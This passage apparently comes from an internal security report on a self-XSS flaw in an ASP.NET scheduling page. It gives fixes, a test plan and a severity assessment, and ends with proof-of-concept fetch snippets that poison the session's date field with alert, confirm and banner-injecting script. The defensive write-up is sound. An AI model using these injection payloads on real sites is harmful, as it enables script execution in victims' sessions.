<span id="cb11-3"><a href="#cb11-3" aria-hidden="true" tabindex="-1"></a><span class="op">{</span></span>
<span id="cb11-4"><a href="#cb11-4" aria-hidden="true" tabindex="-1"></a> <span class="kw">if</span> <span class="op">(!</span><span class="fu">IsValidSebDate</span><span class="op">(</span>date<span class="op">)</span> <span class="op">||</span> <span class="op">!</span><span class="fu">IsValidSebTime</span><span class="op">(</span>time<span class="op">)</span></span>
<span id="cb11-5"><a href="#cb11-5" aria-hidden="true" tabindex="-1"></a> <span class="op">||</span> <span class="op">!</span><span class="fu">IsValidQueryComponentId</span><span class="op">(</span>orderID<span class="op">)</span> <span class="op">||</span> <span class="op">!</span><span class="fu">IsValidQueryComponentId</span><span class="op">(</span>searchID<span class="op">))</span></span>
<span id="cb11-6"><a href="#cb11-6" aria-hidden="true" tabindex="-1"></a> <span class="op">{</span></span>
<span id="cb11-7"><a href="#cb11-7" aria-hidden="true" tabindex="-1"></a> <span class="kw">return</span><span class="op">;</span></span>
<span id="cb11-8"><a href="#cb11-8" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb11-9"><a href="#cb11-9" aria-hidden="true" tabindex="-1"></a> <span class="dt">var</span> sebState <span class="op">=</span> <span class="kw">new</span> <span class="fu">SEBSessionState</span><span class="op">();</span></span>
<span id="cb11-10"><a href="#cb11-10" aria-hidden="true" tabindex="-1"></a> <span class="co">// ...</span></span>
<span id="cb11-11"><a href="#cb11-11" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p><strong>Date regex:</strong></p>
<pre><code>^[0-9]{4}-(((0[13578]|(10|12))-(0[1-9]|[1-2][0-9]|3[0-1]))|(02-(0[1-9]|[1-2][0-9]))|((0[469]|11)-(0[1-9]|[1-2][0-9]|30)))$</code></pre>
<h3 id="fix-3-what-not-to-do">Fix 3 — What not to do</h3>
<ul>
<li>Do not rely on client <code>DateValidation()</code> alone.</li>
<li>Do not use <code>HtmlEncode</code> in JS string literals.</li>
<li>Do not use <code>innerHTML</code>; keep <code>.val()</code>.</li>
</ul>
<h3 id="fix-4-verification-test-plan">Fix 4 — Verification / test
plan</h3>
<p>Master procedure: <strong>Replicating the vulnerability</strong>
section above.</p>
<p><strong>Negative test:</strong></p>
<div class="sourceCode" id="cb13"><pre
class="sourceCode json"><code class="sourceCode json"><span id="cb13-1"><a href="#cb13-1" aria-hidden="true" tabindex="-1"></a><span class="fu">{</span></span>
<span id="cb13-2"><a href="#cb13-2" aria-hidden="true" tabindex="-1"></a> <span class="dt">&quot;searchID&quot;</span><span class="fu">:</span> <span class="st">&quot;0.X&quot;</span><span class="fu">,</span></span>
<span id="cb13-3"><a href="#cb13-3" aria-hidden="true" tabindex="-1"></a> <span class="dt">&quot;orderID&quot;</span><span class="fu">:</span> <span class="st">&quot;0.X&quot;</span><span class="fu">,</span></span>
<span id="cb13-4"><a href="#cb13-4" aria-hidden="true" tabindex="-1"></a> <span class="dt">&quot;date&quot;</span><span class="fu">:</span> <span class="st">&quot;</span><span class="ch">\&quot;</span><span class="st">); alert(1);//&quot;</span><span class="fu">,</span></span>
<span id="cb13-5"><a href="#cb13-5" aria-hidden="true" tabindex="-1"></a> <span class="dt">&quot;time&quot;</span><span class="fu">:</span> <span class="st">&quot;00:00&quot;</span><span class="fu">,</span></span>
<span id="cb13-6"><a href="#cb13-6" aria-hidden="true" tabindex="-1"></a> <span class="dt">&quot;hours&quot;</span><span class="fu">:</span> <span class="dv">24</span><span class="fu">,</span></span>
<span id="cb13-7"><a href="#cb13-7" aria-hidden="true" tabindex="-1"></a> <span class="dt">&quot;displayPriorityJourneys&quot;</span><span class="fu">:</span> <span class="kw">false</span><span class="fu">,</span></span>
<span id="cb13-8"><a href="#cb13-8" aria-hidden="true" tabindex="-1"></a> <span class="dt">&quot;quickSearch&quot;</span><span class="fu">:</span> <span class="st">&quot;&quot;</span></span>
<span id="cb13-9"><a href="#cb13-9" aria-hidden="true" tabindex="-1"></a><span class="fu">}</span></span></code></pre></div>
<p><strong>Pass:</strong> No alert; escaped in source; invalid date not
stored (with Fix 2).</p>
<p><strong>Positive test:</strong> UI search + reload restores
criteria.</p>
<h3 id="files-to-change-summary">Files to change (summary)</h3>
<table>
<colgroup>
<col style="width: 70%" />
<col style="width: 29%" />
</colgroup>
<thead>
<tr>
<th>File</th>
<th>Change</th>
</tr>
</thead>
<tbody>
<tr>
<td><a
href="d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx">ScheduleExecutionBoard.aspx</a></td>
<td><code>JavaScriptStringEncode</code> in
<code>SetupControls()</code></td>
</tr>
<tr>
<td><a
href="d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs">ScheduleExecutionBoard.aspx.cs</a></td>
<td>Validation in <code>SaveSearchCriteriaToSession</code></td>
</tr>
</tbody>
</table>
<p><strong>References:</strong> <a
href="https://owasp.org/www-community/attacks/xss/">OWASP XSS</a>, <a
href="https://portswigger.net/web-security/cross-site-scripting/stored">PortSwigger
Stored XSS</a>, <a
href="https://learn.microsoft.com/en-us/dotnet/api/system.web.httputility.javascriptstringencode">JavaScriptStringEncode</a></p>
<hr />
<h2 id="mental-model-severity-vs-correctness">Mental model: severity vs
correctness</h2>
<table>
<thead>
<tr>
<th>Question</th>
<th>Answer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Real coding flaw?</td>
<td><strong>Yes</strong> (CWE-79)</td>
</tr>
<tr>
<td>Cross-user session hijack?</td>
<td><strong>Not under normal use</strong> (self-XSS)</td>
</tr>
<tr>
<td>Should it still be fixed?</td>
<td><strong>Yes</strong>, as hygiene</td>
</tr>
<tr>
<td>Priority vs SQLi / IDOR?</td>
<td><strong>Much lower</strong> (informational)</td>
</tr>
</tbody>
</table>
<h2 id="code-snippets">Code snippets</h2>
<h3 id="reset">Reset:</h3>
<pre><code>fetch(&#39;ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession&#39;, {
  method: &#39;POST&#39;,
  credentials: &#39;include&#39;,
  headers: { &#39;Content-Type&#39;: &#39;application/json; charset=utf-8&#39; },
  body: JSON.stringify({
    searchID: &#39;0.X&#39;, orderID: &#39;0.X&#39;,
    date: &#39;2026-05-27&#39;, time: &#39;00:00&#39;, hours: 24,
    displayPriorityJourneys: false, quickSearch: &#39;&#39;
  })
}).then(() =&gt; location.reload());</code></pre>
<h3 id="alert">Alert</h3>
<pre><code>fetch(&#39;ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession&#39;, {
  method: &#39;POST&#39;,
  credentials: &#39;include&#39;,
  headers: { &#39;Content-Type&#39;: &#39;application/json; charset=utf-8&#39; },
  body: JSON.stringify({
    searchID: &#39;0.X&#39;,
    orderID: &#39;0.X&#39;,
    date: &#39;&quot;+alert(1)+&quot;&#39;,
    time: &#39;00:00&#39;,
    hours: 24,
    displayPriorityJourneys: false,
    quickSearch: &#39;&#39;
  })
}).then(r =&gt; console.log(r.status, r.statusText));</code></pre>
<h3 id="poison-session">Poison Session</h3>
<pre><code>function poisonSession(field, payload) {
  const body = {
    searchID: &#39;0.X&#39;,
    orderID: &#39;0.X&#39;,
    date: &#39;2026-05-27&#39;,
    time: &#39;00:00&#39;,
    hours: 24,
    displayPriorityJourneys: false,
    quickSearch: &#39;&#39;
  };
  body[field] = payload;
  return fetch(&#39;ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession&#39;, {
    method: &#39;POST&#39;,
    credentials: &#39;include&#39;,
    headers: { &#39;Content-Type&#39;: &#39;application/json; charset=utf-8&#39; },
    body: JSON.stringify(body)
  }).then(r =&gt; console.log(field, r.status, r.statusText));
}</code></pre>
<h3 id="confirm-prompt-alternative-dialog-evidence">Confirm / prompt
(alternative dialog evidence)</h3>
<pre><code>poisonSession(&#39;date&#39;, &#39;&quot;+confirm(&quot;XSS: SEB session poisoned&quot;)+&quot;&#39;);</code></pre>
<h3 id="visible-banner">Visible banner</h3>
<pre><code>poisonSession(&#39;date&#39;, &#39;&quot;+document.body.insertAdjacentHTML(&quot;afterbegin&quot;,&quot;&lt;div style=\\&quot;position:fixed;top:0;left:0;right:0;background:red;color:white;z-index:99999;padding:12px;text-align:center\\&quot;&gt;XSS PoC — arbitrary script executed in SEB context&lt;/div&gt;&quot;)+&quot;&#39;);</code></pre>
</body>
</html>